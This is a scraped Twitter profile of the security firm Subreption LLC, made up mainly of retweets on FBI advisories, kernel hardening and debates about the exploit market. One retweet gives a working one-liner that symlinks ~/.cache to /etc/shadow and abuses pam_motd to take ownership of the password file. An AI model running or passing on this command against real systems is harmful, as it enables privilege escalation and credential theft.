We break things, build things... sometimes before anyone else. Defensive & offensive security R&D and skunkworks projects since ~2006. Silent until we are not.
Ring ≤ 0 | (US, MENA, EU)
Joined November 2011
- Tweets221
- Following55
- Followers658
- Likes196
Subreption LLC retweeted
The FBI has released a PSA warning that Russian FSB cyber actors are targeting end-of-life networking devices across critical infrastructure sectors. Click for technical details and further information on the FSB Center 16 unit conducting this activity: ic3.gov/PSA/2025/PSA250820
ALT Public Service Announcement dated August 20, 2025, warning of Russian government cyber actors targeting networking devices and critical infrastructure.
Subreption LLC retweeted
I stopped reporting bugs because I find the work I do outside of the public eye much more impactful and personally rewarding than the CVE collection contest. But don't worry, I never stopped *finding* bugs!
Subreption LLC retweeted
KSPP fairy tale du jour: openwall.com/lists/kernel-ha… … (hint: if RANDKSTACK was inspired by stackjacking then how could the supposed inspiring presentation have talked about it? perhaps because in reality it had already existed for almost a decade? :))
Subreption LLC retweeted
It's time for a Pwn2Own with target systems running security products that claim to stop and/or detect exploitation of 0day vulnerabilities.
Subreption LLC retweeted
More than 100 DARPA programs on display at the Pentagon today represent the future of cyber and information systems. ow.ly/x5Y3b
Subreption LLC retweeted
. @subreption completed basics for KERNEXEC on ARM (prototype for OMAP kernel), fully segregating Android kernel memory protections. < CFT!
Subreption LLC retweeted
@JSyversen and an area that sorely needs work. gl @subreption !! Hit me up if i can help
Subreption LLC retweeted
Exploits aren't the problem, vulnerable programs are. Let's make our devices unbreakable and end the discussion.
Subreption LLC retweeted
"If an employer...exploit[s]...his employees, in a...capitalistic labor market he will merely create a profit opportunity for his rivals"
Subreption LLC retweeted
If exploit merchants believe gov must not interfere or regulate market, then gov needs to stop outbidding all other buyers with public money
Subreption LLC retweeted
Wow, our industry has a repeated & sordid history of executives selling their researchers' exploits and lying to the researcher about it.
Subreption LLC retweeted
[RSA] rebuilds after security breach. Attack cost $66.3 million to fix. bo.st/w7rWwo
Subreption LLC retweeted
We're back online, & all content is currently free. Read analyses, forecasts & monographs on our new site: cot.ag/yChy8z
Subreption LLC retweeted
Here's libplayground, a simple framework for developing Linux kernel heap exploit techniques: github.com/djrbliss/libplayg…
Subreption LLC retweeted
What I'm getting from all this is that exploiting hash table weaknesses in OpenSSH results in telnetd being spontaneously enabled.
Subreption LLC retweeted
rm -rf ~/.cache; ln -s /etc/shadow ~/.cache; ssh localhost (trigger pam_motd by re-logging in and you'll own /etc/shadow) #tweetsploits
Subreption LLC retweeted
Only 13 days left to reconstruct shredded documents for $50,000 in the #ShredderChallenge! go.usa.gov/I6Q